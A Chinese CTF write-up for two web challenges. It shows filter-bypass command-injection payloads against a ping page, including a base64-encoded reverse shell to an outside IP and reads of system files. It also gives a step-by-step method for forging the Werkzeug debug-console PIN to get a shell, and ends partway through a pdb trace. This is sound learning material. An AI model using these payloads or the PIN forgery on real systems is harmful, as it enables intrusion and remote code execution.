这个比赛吧,只能算是走个过场。简单来说就是就当作做做题啥的练练而已,并没有说非常的重视,所以就只做了些简单的 WEB 题,然后也是顺便写了点WP而已的啦。

祥云杯CTF部分WP


WEB:

COMMAND:

​ 题目界面是一个ping的界面,当输入127.0.0.1,得到以下回显:

PING 127.0.0.1 (127.0.0.1) 56(84) bytes of data. 

64 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=0.016 ms 
64 bytes from 127.0.0.1: icmp_seq=2 ttl=64 time=0.031 ms 
64 bytes from 127.0.0.1: icmp_seq=3 ttl=64 time=0.025 ms 
64 bytes from 127.0.0.1: icmp_seq=4 ttl=64 time=0.020 ms 

--- 127.0.0.1 ping statistics --- 4 packets transmitted, 4 received, 0% packet loss, time 3067ms rtt min/avg/max/mdev = 0.016/0.023/0.031/0.005 ms

​ 可以简单判断这个语句为:

ping -c 4 xxx	

​ 尝试使用 ‘&’ 和 ‘;’ 进行逃逸,发现不太行,遂使用 ‘|’ 发现没被ban。’空格’、’换行’ 和 ‘{‘ 也被ban了。这时可以尝试使用%09(tab)作为分隔符。

​ 尝试使用 cat、tac、more、tail、less 、rev、head、nl去读 /etc/issue,发现都不太行。但是可以用fmt或xxd去读:

ping -c 4 1.1.1.1|fmt%09/etc/issue
ping -c 4 1.1.1.1|xxd%09/etc/issue

​ 下一步是先读index.php文件,但是发现 ‘index’ 和 ‘php’ 都被ban了,通配符 ‘*’ 也被ban了,不过可以用 ‘?’ 进行匹配:

ping -c 4 1.1.1.1|fmt%09?????.???

​ 可以读到index.php文件,不过会有个跳转,最好得用burp查看得到的index.php内容:

<?php
error_reporting(0);
if (isset($_GET['url'])) {
	$ip=$_GET['url'];
	if(preg_match("/(;|'| |>|]|&|	|\\$|python|sh|nc|tac|rev|more|tailf|index|php|head|nl|tail|less|cat|ruby|perl|bash|rm|cp|mv|\*|\{)/i",$ip)){
      die("<script language='javascript' type='text/javascript'>alert('no no no!');window.location.href='index.php';</script>");
  }else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){
      die("<script language='javascript' type='text/javascript'>alert('no flag!');window.location.href='index.php';</script>");
  }
 	$a = shell_exec("ping -c 4 ".$ip);
}
?>
 <body>
    <div id="content">
        <div class="con">
            <div class="shlogo"></div>
 		<div class="sou">
 	<div class="font_div">
 <i style="font-size: 50px;" class="iconfonticon-sousuo"></i>ping
 	</div>
 <form action="" method="get" target="_self">
	<input class="wd" type="text" placeholder="IP:"name="url" x-webkit-speech lang="zh-CN">
 </br>
    <button><i style="font-size: 15px;" class="iconfonticon-sousuo"></i>ping</button>
 </br>
 </br>
 	<strong> Result: <?php print_r($a); ?><strong>
</form>
            </div>
        </div>
    </div>
</body>
 </html>

​ 可以看到ban了不少的内容,这里可以用以下的语句进行操作,比如弹个shell:

ping -c 4 1.1.1.1|dd%09if=/dev/zero%09of=/tmp/dm.txt%09bs=1%09count=1
ping -c 4 1.1.1.1|sed%09-i%09"s/\x0/L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzQ3LjEwMS4xMzIuMjIzLzY0NDkgMD4mMQ%3d%3d/g"%09/tmp/dm.txt
ping -c 4 1.1.1.1|fmt%09/tmp/dm.txt%09|base64%09-d|/bin/bas?

​ 但是发现这个shell用不了,似乎是设置了入站规则,是可以接收到弹出来的连接,但是没办法执行命令(或者是看不到执行命令的结果),于是采用另一个办法去做:

ping -c 4 1.1.1.1|find%09/%09-name%09`echo%09"ZmxhZwo="|base64%09-d`%09-type%09f%09-mtime%090
ping -c 4 1.1.1.1|fmt%09`echo%09"L2V0Yy8uZmluZGZsYWcvZmxhZy50eHQK"|base64%09-d`

​ 这样就可以得到flag了。


flaskbot:

​ 题目大概意思是给你输入一个 0 -> 1000000000 的数,然后会调用一个二分法逻辑去猜所给的数。会有精度范围,是10e-5这样。

image-20201122121112929.png

​ 由于被ban了,无法重新复现,这里大概的思路是让 num = nan ,这样 float 转换过去得到 nan ,这个 nan 是无法满足 < 0 或者 > 1000000000 的。

image-20201122121341965.png

​ 于是就能绕过上边的检测,然后机器人无法猜出数后会有一个ssti的利用点,可以用这个ssti来读文件。由于这个flask开启了debug,只要能够伪造一个pin码就能通过debug的交互模块getshell了。

​ 这里简单的将生成pin码的源码贴一下:

# werkzeug/debug/__init__.py
# 大约137行开始

def get_pin_and_cookie_name(app):
    """Given an application object this returns a semi-stable 9 digit pin
    code and a random key.  The hope is that this is stable between
    restarts to not make debugging particularly frustrating.  If the pin
    was forcefully disabled this returns `None`.

    Second item in the resulting tuple is the cookie name for remembering.
    """
    pin = os.environ.get("WERKZEUG_DEBUG_PIN")
    rv = None
    num = None

    # Pin was explicitly disabled
    if pin == "off":
        return None, None

    # Pin was provided explicitly
    if pin is not None and pin.replace("-", "").isdigit():
        # If there are separators in the pin, return it directly
        if "-" in pin:
            rv = pin
        else:
            num = pin

    modname = getattr(app, "__module__", app.__class__.__module__)

    try:
        # getuser imports the pwd module, which does not exist in Google
        # App Engine. It may also raise a KeyError if the UID does not
        # have a username, such as in Docker.
        username = getpass.getuser()
    except (ImportError, KeyError):
        username = None

    mod = sys.modules.get(modname)

    # This information only exists to make the cookie unique on the
    # computer, not as a security feature.
    probably_public_bits = [
        username,
        modname,
        getattr(app, "__name__", app.__class__.__name__),
        getattr(mod, "__file__", None),
    ]

    # This information is here to make it harder for an attacker to
    # guess the cookie name.  They are unlikely to be contained anywhere
    # within the unauthenticated debug page.
    private_bits = [str(uuid.getnode()), get_machine_id()]

    h = hashlib.md5()
    for bit in chain(probably_public_bits, private_bits):
        if not bit:
            continue
        if isinstance(bit, text_type):
            bit = bit.encode("utf-8")
        h.update(bit)
    h.update(b"cookiesalt")

    cookie_name = "__wzd" + h.hexdigest()[:20]

    # If we need to generate a pin we salt it a bit more so that we don't
    # end up with the same value and generate out 9 digits
    if num is None:
        h.update(b"pinsalt")
        num = ("%09d" % int(h.hexdigest(), 16))[:9]

    # Format the pincode in groups of digits for easier remembering if
    # we don't have a result yet.
    if rv is None:
        for group_size in 5, 4, 3:
            if len(num) % group_size == 0:
                rv = "-".join(
                    num[x : x + group_size].rjust(group_size, "0")
                    for x in range(0, len(num), group_size)
                )
                break
        else:
            rv = num

    return rv, cookie_name

​ 其中这里生成pin码关键的部分为:

# 获取模块名称,这里的值固定为 "flask.app"
modname = getattr(app, "__module__", app.__class__.__module__)
# 获取当前运行该服务器的用户
username = getpass.getuser()

probably_public_bits = [
        username, # 用户名
        modname, # 模块名 -> flask.app
        getattr(app, "__name__", app.__class__.__name__), # 当前app名称 -> Flask
        getattr(mod, "__file__", None), # 模块文件路径
]
private_bits = [
    str(uuid.getnode()), # MAC地址的10进制值 
    get_machine_id() # 当前机器id
]

h = hashlib.md5()
# 这个相当于计算 (username + modname + 当前app名称 + 模块文件路径 + MAC地址的10进制值 + 当前机器id + 'cookiesalt' + 'pinsalt') 的md5值
for bit in chain(probably_public_bits, private_bits):
    if not bit:
        continue
    if isinstance(bit, text_type):
        bit = bit.encode("utf-8")
    h.update(bit)
h.update(b"cookiesalt") # 常量
h.update(b"pinsalt") # 常量

# 将md5值转换为10进制数然后获取前9位的数字
num = ("%09d" % int(h.hexdigest(), 16))[:9]

# 下面这一串实际上是将这9个数字转换为 XXX-XXX-XXX 的格式
if rv is None:
        for group_size in 5, 4, 3:
            if len(num) % group_size == 0:
                rv = "-".join(
                    num[x : x + group_size].rjust(group_size, "0")
                    for x in range(0, len(num), group_size)
                )
                break
        else:
            rv = num

​ 所以简单来说整个bin码的生成流程为 **(username + modname + 当前app名称 + 模块文件路径 + MAC地址的10进制值 + 当前机器id + ‘cookiesalt’ + ‘pinsalt’) **的md5值转换为10进制数字取前9位。

​ 其中 modname当前app名称 一般是固定的,为 ‘’flask.app‘’ 和 ‘’Flask‘’

​ 其他的 username模块文件路径MAC地址的10进制值当前机器id 都是未知的,得找个漏洞读文件才可以。

​ 这里可以进行简单的debug调试:

from flask import Flask

app = Flask(__name__)

@app.route("/")
def hahaha():
    test = []
    return test # 这个是错误的语句

if __name__ == "__main__":
    app.run(host="0.0.0.0",port=3333,debug=True)

​ 得到以下的debug页面:

image-20201122130849269.png

​ 其中:

  1. 模块文件路径 ( 即是 模块文件路径 ),不过在生成bin码时得改成 ‘/usr/lib/python2.7/dist-packages/flask/app.pyc’

  2. 交互式debug,需要输入pin码就可以获得一个python的交互功能,这样就可以弄个反弹shell啥的:

  • image-20201122131546789.png

这时候,得到通过debug页面可以得到以下信息:

username [用户名] : #未知#
modname [模块名] : flask.app
getattr(app, "__name__", app.__class__.__name__) [当前app名称] : Flask
getattr(mod, "__file__", None) [模块文件路径] : /usr/lib/python2.7/dist-packages/flask/app.pyc
str(uuid.getnode()) [MAC地址的10进制值] : #未知#
get_machine_id() [当前机器id]#未知#

这里再看一下关于获取当前机器id的函数源码 [ get_machine_id() ]:

# werkzeug/debug/__init__.py
# 大约48行开始

def get_machine_id():
    global _machine_id

    if _machine_id is not None:
        return _machine_id

    def _generate():
        linux = b""

        # machine-id is stable across boots, boot_id is not.
        for filename in "/etc/machine-id", "/proc/sys/kernel/random/boot_id":
            try:
                with open(filename, "rb") as f:
                    value = f.readline().strip()
            except IOError:
                continue

            if value:
                linux += value
                break

        # Containers share the same machine id, add some cgroup
        # information. This is used outside containers too but should be
        # relatively stable across boots.
        try:
            with open("/proc/self/cgroup", "rb") as f:
                linux += f.readline().strip().rpartition(b"/")[2]
        except IOError:
            pass

        if linux:
            return linux

        # On OS X, use ioreg to get the computer's serial number.
        try:
            # subprocess may not be available, e.g. Google App Engine
            # https://github.com/pallets/werkzeug/issues/925
            from subprocess import Popen, PIPE

            dump = Popen(
                ["ioreg", "-c", "IOPlatformExpertDevice", "-d", "2"], stdout=PIPE
            ).communicate()[0]
            match = re.search(b'"serial-number" = <([^>]+)', dump)

            if match is not None:
                return match.group(1)
        except (OSError, ImportError):
            pass

        # On Windows, use winreg to get the machine guid.
        try:
            import winreg as wr
        except ImportError:
            try:
                import _winreg as wr
            except ImportError:
                wr = None

        if wr is not None:
            try:
                with wr.OpenKey(
                    wr.HKEY_LOCAL_MACHINE,
                    "SOFTWARE\\Microsoft\\Cryptography",
                    0,
                    wr.KEY_READ | wr.KEY_WOW64_64KEY,
                ) as rk:
                    guid, guid_type = wr.QueryValueEx(rk, "MachineGuid")

                    if guid_type == wr.REG_SZ:
                        return guid.encode("utf-8")

                    return guid
            except WindowsError:
                pass

    _machine_id = _generate()
    return _machine_id

​ 以Linux为例,主要生成代码为:

linux = b""
# 这里先尝试读 "/ect/machine-id" ,如果有内容则使用该文件的第一行内容,否则使用 "/proc/sys/kernel/random/boot_id" 文件的第一行内容 
for filename in "/etc/machine-id", "/proc/sys/kernel/random/boot_id":
	try:
		with open(filename, "rb") as f:
		value = f.readline().strip()
	except IOError:
		continue

	if value:
		linux += value
		break

# 这里尝试读 "proc/self/cgroup" 文件中的第一行,并从右往左以 "/" 作为分隔符,取 "/" 右边的内容
try:
	with open("/proc/self/cgroup", "rb") as f:
		linux += f.readline().strip().rpartition(b"/")[2]
except IOError:
	pass

# 最后返回获取的机器id
if linux:
	return linux
_machine_id = linux
return _machine_id

​ 这里假设存在任意文件读取,然后尝试获取 当前机器id

dq@kali:~$ cat /etc/machine-id
81c09063023a48b1bb4263a720436c46
dq@kali:~$ cat /proc/5614/cgroup 
11:perf_event:/
10:blkio:/
9:cpu,cpuacct:/
8:devices:/user.slice
7:freezer:/
6:net_cls,net_prio:/
5:cpuset:/
4:rdma:/
3:pids:/user.slice/user-0.slice/session-2.scope
2:memory:/user.slice/user-0.slice/session-2.scope
1:name=systemd:/user.slice/user-0.slice/session-2.scope
0::/user.slice/user-0.slice/session-2.scope
dq@kali:~$ 
  • 其中 11:perf_event:/[这里为空的],所以得到 ‘’

  • 显然最后得到的当前机器id: ‘81c09063023a48b1bb4263a720436c46’ + ‘’

​ 然后再读取 username

dq@kali:~$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
systemd-timesync:x:101:102:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
systemd-network:x:102:103:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:103:104:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
mysql:x:104:110:MySQL Server,,,:/nonexistent:/bin/false
ntp:x:105:111::/nonexistent:/usr/sbin/nologin
messagebus:x:106:112::/nonexistent:/usr/sbin/nologin
uuidd:x:107:113::/run/uuidd:/usr/sbin/nologin
redsocks:x:108:114::/var/run/redsocks:/usr/sbin/nologin
rwhod:x:109:65534::/var/spool/rwho:/usr/sbin/nologin
iodine:x:110:65534::/var/run/iodine:/usr/sbin/nologin
tcpdump:x:111:117::/nonexistent:/usr/sbin/nologin
miredo:x:112:65534::/var/run/miredo:/usr/sbin/nologin
dnsmasq:x:113:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin
usbmux:x:114:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
rtkit:x:115:121:RealtimeKit,,,:/proc:/usr/sbin/nologin
_rpc:x:116:65534::/run/rpcbind:/usr/sbin/nologin
Debian-snmp:x:117:123::/var/lib/snmp:/bin/false
statd:x:118:65534::/var/lib/nfs:/usr/sbin/nologin
postgres:x:119:124:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash
stunnel4:x:120:126::/var/run/stunnel4:/usr/sbin/nologin
sshd:x:121:65534::/run/sshd:/usr/sbin/nologin
sslh:x:122:128::/nonexistent:/usr/sbin/nologin
pulse:x:123:130:PulseAudio daemon,,,:/var/run/pulse:/usr/sbin/nologin
avahi:x:124:132:Avahi mDNS daemon,,,:/var/run/avahi-daemon:/usr/sbin/nologin
saned:x:125:133::/var/lib/saned:/usr/sbin/nologin
inetsim:x:126:135::/var/lib/inetsim:/usr/sbin/nologin
colord:x:127:136:colord colour management daemon,,,:/var/lib/colord:/usr/sbin/nologin
geoclue:x:128:137::/var/lib/geoclue:/usr/sbin/nologin
lightdm:x:129:138:Light Display Manager:/var/lib/lightdm:/bin/false
king-phisher:x:130:139::/var/lib/king-phisher:/usr/sbin/nologin
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
dq:x:2333:2333::/home/dq:/bin/bash
way:x:2334:2334::/home/way:/bin/sh
Longlone:x:2335:2335::/home/Longlone:/bin/sh
redis:x:131:141::/var/lib/redis:/usr/sbin/nologin
  • 这里一般来说只能通过猜或者一个个去尝试,反正剔除一些看起来不像的用户名,选择剩下的一个个尝试就行了
  • 一般来说应该是ctf用户,不过这里我是用root用户来开服务器的

​ 然后现在已知的信息:

username [用户名] : root
modname [模块名] : flask.app
getattr(app, "__name__", app.__class__.__name__) [当前app名称] : Flask
getattr(mod, "__file__", None) [模块文件路径] : /usr/lib/python2.7/dist-packages/flask/app.pyc
str(uuid.getnode()) [MAC地址的10进制值] : #未知#
get_machine_id() [当前机器id]81c09063023a48b1bb4263a720436c46

​ 最后再看一下如何获取 MAC地址的10进制值 ,下边是官方文档对于 uuid.getnode() 函数的解释:

Get the hardware address as a 48-bit positive integer. The first time this runs, it may launch a separate program, which could be quite slow. If all attempts to obtain the hardware address fail, we choose a random 48-bit number with its eighth bit set to 1 as recommended in RFC 4122. “Hardware address” means the MAC address of a network interface, and on a machine with multiple network interfaces the MAC address of any one of them may be returned.

​ 简单来说即是以48bit的形式获取硬件的地址,如果获取失败则会使用一个随机的48bit随机数,其中第8位设置为1。其中“硬件地址”是指网络接口的MAC地址,如果有多个网络接口,则返回其中任意一个接口的MAC地址。

​ 所以只需要用 cat /sys/class/net/eth0/address 就行了,这里由于是用虚拟机复现,会存在和 uuid.getnode() 不一致的问题,不过在VPS和docker上边都是一致的。

image-20201122143434133.png

​ 所以这里就用 uuid.getnode() 函数的结果作为 MAC地址的10进制值 吧(实际上应该是 cat /sys/class/net/eth0/address 得到的结果作为 MAC地址的10进制值 )。

​ 现在已知信息:

username [用户名] : root
modname [模块名] : flask.app
getattr(app, "__name__", app.__class__.__name__) [当前app名称] : Flask
getattr(mod, "__file__", None) [模块文件路径] : /usr/lib/python2.7/dist-packages/flask/app.pyc
str(uuid.getnode()) [MAC地址的10进制值] : 61355383586047
get_machine_id() [当前机器id]81c09063023a48b1bb4263a720436c46

​ 那么就可以用以上的信息,以 **(username + modname + 当前app名称 + 模块文件路径 + MAC地址的10进制值 + 当前机器id + ‘cookiesalt’ + ‘pinsalt’) **格式的md5再转换为10进制数取前9位,每3个数字用 ‘-‘ 连接来生成pin码了。

​ 这里还可以用pdb模块跟进调试:

from flask import Flask
import pdb

app = Flask(__name__)

@app.route("/")
def hahaha():
    test = []
    return test

if __name__ == "__main__":
    pdb.set_trace()
    app.run(host="0.0.0.0",port=3333,debug=True)

​ 以下是调试步骤:

root@kali:/ctf/web/20201121# python app.py 
> /ctf/web/20201121/app.py(13)<module>()
-> app.run(host="0.0.0.0",port=3333,debug=True)
(Pdb) s
--Call--
> /usr/lib/python2.7/dist-packages/flask/app.py(889)run()
-> def run(self, host=None, port=None, debug=None, load_dotenv=True, **options):
(Pdb) n
> /usr/lib/python2.7/dist-packages/flask/app.py(949)run()
-> if os.environ.get("FLASK_RUN_FROM_CLI") == "true":
(Pdb) n
> /usr/lib/python2.7/dist-packages/flask/app.py(955)run()
-> if get_load_dotenv(load_dotenv):
(Pdb) n
> /usr/lib/python2.7/dist-packages/flask/app.py(956)run()
-> cli.load_dotenv()
(Pdb) n
> /usr/lib/python2.7/dist-packages/flask/app.py(959)run()
-> if "FLASK_ENV" in os.environ:
(Pdb) n
> /usr/lib/python2.7/dist-packages/flask/app.py(962)run()
-> elif "FLASK_DEBUG" in os.environ:
(Pdb) n
> /usr/lib/python2.7/dist-packages/flask/app.py(966)run()
-> if debug is not None:
(Pdb) n
> /usr/lib/python2.7/dist-packages/flask/app.py(967)run()
-> self.debug = bool(debug)
(Pdb) n
> /usr/lib/python2.7/dist-packages/flask/app.py(969)run()
-> _host = "127.0.0.1"
(Pdb) n
> /usr/lib/python2.7/dist-packages/flask/app.py(970)run()
-> _port = 5000
(Pdb) n
> /usr/lib/python2.7/dist-packages/flask/app.py(971)run()
-> server_name = self.config.get("SERVER_NAME")
(Pdb) n
> /usr/lib/python2.7/dist-packages/flask/app.py(972)run()
-> sn_host, sn_port = None, None
(Pdb) n
> /usr/lib/python2.7/dist-packages/flask/app.py(974)run()
-> if server_name:
(Pdb) n
> /usr/lib/python2.7/dist-packages/flask/app.py(977)run()
-> host = host or sn_host or _host
(Pdb) n
> /usr/lib/python2.7/dist-packages/flask/app.py(979)run()
-> port = int(next((p for p in (port, sn_port) if p is not None), _port))
(Pdb) n
> /usr/lib/python2.7/dist-packages/flask/app.py(981)run()
-> options.setdefault("use_reloader", self.debug)
(Pdb) n
> /usr/lib/python2.7/dist-packages/flask/app.py(982)run()
-> options.setdefault("use_debugger", self.debug)
(Pdb) n
> /usr/lib/python2.7/dist-packages/flask/app.py(983)run()
-> options.setdefault("threaded", True)
(Pdb) n
> /usr/lib/python2.7/dist-packages/flask/app.py(985)run()
-> cli.show_server_banner(self.env, self.debug, self.name, False)
(Pdb) n
 * Serving Flask app "app" (lazy loading)
 * Environment: production
   WARNING: This is a development server. Do not use it in a production deployment.
   Use a production WSGI server instead.
 * Debug mode: on
> /usr/lib/python2.7/dist-packages/flask/app.py(987)run()
-> from werkzeug.serving import run_simple
(Pdb) n
> /usr/lib/python2.7/dist-packages/flask/app.py(989)run()
-> try:
(Pdb) n
> /usr/lib/python2.7/dist-packages/flask/app.py(990)run()
-> run_simple(host, port, self, **options)
(Pdb) s
--Call--
> /usr/lib/python2.7/dist-packages/werkzeug/serving.py(834)run_simple()
-> def run_simple(
(Pdb) n
> /usr/lib/python2.7/dist-packages/werkzeug/serving.py(920)run_simple()
-> if not isinstance(port, int):
(Pdb) n
> /usr/lib/python2.7/dist-packages/werkzeug/serving.py(922)run_simple()
-> if use_debugger:
(Pdb) n
> /usr/lib/python2.7/dist-packages/werkzeug/serving.py(923)run_simple()
-> from .debug import DebuggedApplication
(Pdb) n
> /usr/lib/python2.7/dist-packages/werkzeug/serving.py(925)run_simple()
-> application = DebuggedApplication(application, use_evalex)
(Pdb) s
--Call--
> /usr/lib/python2.7/dist-packages/werkzeug/debug/__init__.py(261)__init__()
-> def __init__(
(Pdb) n
> /usr/lib/python2.7/dist-packages/werkzeug/debug/__init__.py(273)__init__()
-> if lodgeit_url is not None:
(Pdb) n
> /usr/lib/python2.7/dist-packages/werkzeug/debug/__init__.py(283)__init__()
-> if not console_init_func:
(Pdb) n
> /usr/lib/python2.7/dist-packages/werkzeug/debug/__init__.py(284)__init__()
-> console_init_func = None
(Pdb) n
> /usr/lib/python2.7/dist-packages/werkzeug/debug/__init__.py(285)__init__()
-> self.app = app
(Pdb) n
> /usr/lib/python2.7/dist-packages/werkzeug/debug/__init__.py(286)__init__()
-> self.evalex = evalex
(Pdb) n
> /usr/lib/python2.7/dist-packages/werkzeug/debug/__init__.py(287)__init__()
-> self.frames = {}
(Pdb) n
> /usr/lib/python2.7/dist-packages/werkzeug/debug/__init__.py(288)__init__()
-> self.tracebacks = {}
(Pdb) n
> /usr/lib/python2.7/dist-packages/werkzeug/debug/__init__.py(289)__init__()
-> self.request_key = request_key
(Pdb) n
> /usr/lib/python2.7/dist-packages/werkzeug/debug/__init__.py(290)__init__()
-> self.console_path = console_path
(Pdb) n
> /usr/lib/python2.7/dist-packages/werkzeug/debug/__init__.py(291)__init__()
-> self.console_init_func = console_init_func
(Pdb) n
> /usr/lib/python2.7/dist-packages/werkzeug/debug/__init__.py(292)__init__()
-> self.show_hidden_frames = show_hidden_frames
(Pdb) n
> /usr/lib/python2.7/dist-packages/werkzeug/debug/__init__.py(293)__init__()
-> self.secret = gen_salt(20)
(Pdb) n
> /usr/lib/python2.7/dist-packages/werkzeug/debug/__init__.py(294)__init__()
-> self._failed_pin_auth = 0
(Pdb) n
> /usr/lib/python2.7/dist-packages/werkzeug/debug/__init__.py(296)__init__()
-> self.pin_logging = pin_logging
(Pdb) n
> /usr/lib/python2.7/dist-packages/werkzeug/debug/__init__.py(297)__init__()
-> if pin_security:
(Pdb) n
> /usr/lib/python2.7/dist-packages/werkzeug/debug/__init__.py(299)__init__()
-> if os.environ.get("WERKZEUG_RUN_MAIN") == "true" and pin_logging:
s

# ...... (一直n下去)

> /usr/lib/python2.7/dist-packages/werkzeug/serving.py(946)log_startup()->None
-> quit_msg,
(Pdb) n
> /usr/lib/python2.7/dist-packages/werkzeug/serving.py(1006)run_simple()
-> from ._reloader import run_with_reloader
(Pdb) n
> /usr/lib/python2.7/dist-packages/werkzeug/serving.py(1008)run_simple()
-> run_with_reloader(inner, extra_files, reloader_interval, reloader_type)
(Pdb) n
 * Restarting with stat
> /ctf/web/20201121/app.py(13)<module>()
-> app.run(host="0.0.0.0",port=3333,debug=True)
(Pdb) s
--Call--
> /usr/lib/python2.7/dist-packages/flask/app.py(889)run()
-> def run(self, host=None, port=None, debug=None, load_dotenv=True, **options):
(Pdb) n
> /usr/lib/python2.7/dist-packages/flask/app.py(949)run()
-> if os.environ.get("FLASK_RUN_FROM_CLI") == "true":
(Pdb) n
> /usr/lib/python2.7/dist-packages/flask/app.py(955)run()
-> if get_load_dotenv(load_dotenv):
(Pdb) n
> /usr/lib/python2.7/dist-packages/flask/app.py(956)run()
-> cli.load_dotenv()
(Pdb) n
> /usr/lib/python2.7/dist-packages/flask/app.py(959)run()
-> if "FLASK_ENV" in os.environ:
(Pdb) n
> /usr/lib/python2.7/dist-packages/flask/app.py(962)run()
-> elif "FLASK_DEBUG" in os.environ:
(Pdb) n
> /usr/lib/python2.7/dist-packages/flask/app.py(966)run()
-> if debug is not None:
(Pdb) n
> /usr/lib/python2.7/dist-packages/flask/app.py(967)run()
-> self.debug = bool(debug)
(Pdb) n
> /usr/lib/python2.7/dist-packages/flask/app.py(969)run()
-> _host = "127.0.0.1"
(Pdb) n
> /usr/lib/python2.7/dist-packages/flask/app.py(970)run()
-> _port = 5000
(Pdb) n
> /usr/lib/python2.7/dist-packages/flask/app.py(971)run()
-> server_name = self.config.get("SERVER_NAME")
(Pdb) n
> /usr/lib/python2.7/dist-packages/flask/app.py(972)run()
-> sn_host, sn_port = None, None
(Pdb) n
> /usr/lib/python2.7/dist-packages/flask/app.py(974)run()
-> if server_name:
(Pdb) n
> /usr/lib/python2.7/dist-packages/flask/app.py(977)run()
-> host = host or sn_host or _host
(Pdb) n
> /usr/lib/python2.7/dist-packages/flask/app.py(979)run()
-> port = int(next((p for p in (port, sn_port) if p is not None), _port))
(Pdb) n
> /usr/lib/python2.7/dist-packages/flask/app.py(981)run()
-> options.setdefault("use_reloader", self.debug)
(Pdb) n
> /usr/lib/python2.7/dist-packages/flask/app.py(982)run()
-> options.setdefault("use_debugger", self.debug)
(Pdb) n
> /usr/lib/python2.7/dist-packages/flask/app.py(983)run()
-> options.setdefault("threaded", True)
(Pdb) n
> /usr/lib/python2.7/dist-packages/flask/app.py(985)run()
-> cli.show_server_banner(self.env, self.debug, self.name, False)
(Pdb) n
> /usr/lib/python2.7/dist-packages/flask/app.py(987)run()
-> from werkzeug.serving import run_simple
(Pdb) n
> /usr/lib/python2.7/dist-packages/flask/app.py(989)run()
-> try:
(Pdb) n
> /usr/lib/python2.7/dist-packages/flask/app.py(990)run()
-> run_simple(host, port, self, **options)
(Pdb) s
--Call--
> /usr/lib/python2.7/dist-packages/werkzeug/serving.py(834)run_simple()
-> def run_simple(
(Pdb) n
> /usr/lib/python2.7/dist-packages/werkzeug/serving.py(920)run_simple()
-> if not isinstance(port, int):
(Pdb) n
> /usr/lib/python2.7/dist-packages/werkzeug/serving.py(922)run_simple()
-> if use_debugger:
(Pdb) n
> /usr/lib/python2.7/dist-packages/werkzeug/serving.py(923)run_simple()
-> from .debug import DebuggedApplication
(Pdb) n
> /usr/lib/python2.7/dist-packages/werkzeug/serving.py(925)run_simple()
-> application = DebuggedApplication(application, use_evalex)
(Pdb) s
--Call--
> /usr/lib/python2.7/dist-packages/werkzeug/debug/__init__.py(261)__init__()
-> def __init__(
(Pdb) n
> /usr/lib/python2.7/dist-packages/werkzeug/debug/__init__.py(273)__init__()
-> if lodgeit_url is not None:
(Pdb) n
> /usr/lib/python2.7/dist-packages/werkzeug/debug/__init__.py(283)__init__()
-> if not console_init_func:
(Pdb) n
> /usr/lib/python2.7/dist-packages/werkzeug/debug/__init__.py(284)__init__()
-> console_init_func = None
(Pdb) n
> /usr/lib/python2.7/dist-packages/werkzeug/debug/__init__.py(285)__init__()
-> self.app = app
(Pdb) n
> /usr/lib/python2.7/dist-packages/werkzeug/debug/__init__.py(286)__init__()
-> self.evalex = evalex
(Pdb) n
> /usr/lib/python2.7/dist-packages/werkzeug/debug/__init__.py(287)__init__()
-> self.frames = {}
(Pdb) n
> /usr/lib/python2.7/dist-packages/werkzeug/debug/__init__.py(288)__init__()
-> self.tracebacks = {}
(Pdb) n
> /usr/lib/python2.7/dist-packages/werkzeug/debug/__init__.py(289)__init__()
-> self.request_key = request_key
(Pdb) n
> /usr/lib/python2.7/dist-packages/werkzeug/debug/__init__.py(290)__init__()
-> self.console_path = console_path
(Pdb) n
> /usr/lib/python2.7/dist-packages/werkzeug/debug/__init__.py(291)__init__()
-> self.console_init_func = console_init_func
(Pdb) n
> /usr/lib/python2.7/dist-packages/werkzeug/debug/__init__.py(292)__init__()
-> self.show_hidden_frames = show_hidden_frames
(Pdb) n
> /usr/lib/python2.7/dist-packages/werkzeug/debug/__init__.py(293)__init__()
-> self.secret = gen_salt(20)
(Pdb) n
> /usr/lib/python2.7/dist-packages/werkzeug/debug/__init__.py(294)__init__()
-> self._failed_pin_auth = 0
(Pdb) n
> /usr/lib/python2.7/dist-packages/werkzeug/debug/__init__.py(296)__init__()
-> self.pin_logging = pin_logging
(Pdb) n
> /usr/lib/python2.7/dist-packages/werkzeug/debug/__init__.py(297)__init__()
-> if pin_security:
(Pdb) n
> /usr/lib/python2.7/dist-packages/werkzeug/debug/__init__.py(299)__init__()
-> if os.environ.get("WERKZEUG_RUN_MAIN") == "true" and pin_logging:
(Pdb) n
> /usr/lib/python2.7/dist-packages/werkzeug/debug/__init__.py(300)__init__()
-> _log("warning", " * Debugger is active!")
(Pdb) n
 * Debugger is active!
> /usr/lib/python2.7/dist-packages/werkzeug/debug/__init__.py(301)__init__()
-> if self.pin is None:
(Pdb) s
--Call--
> /usr/lib/python2.7/dist-packages/werkzeug/debug/__init__.py(308)_get_pin()
-> def _get_pin(self):
(Pdb) n
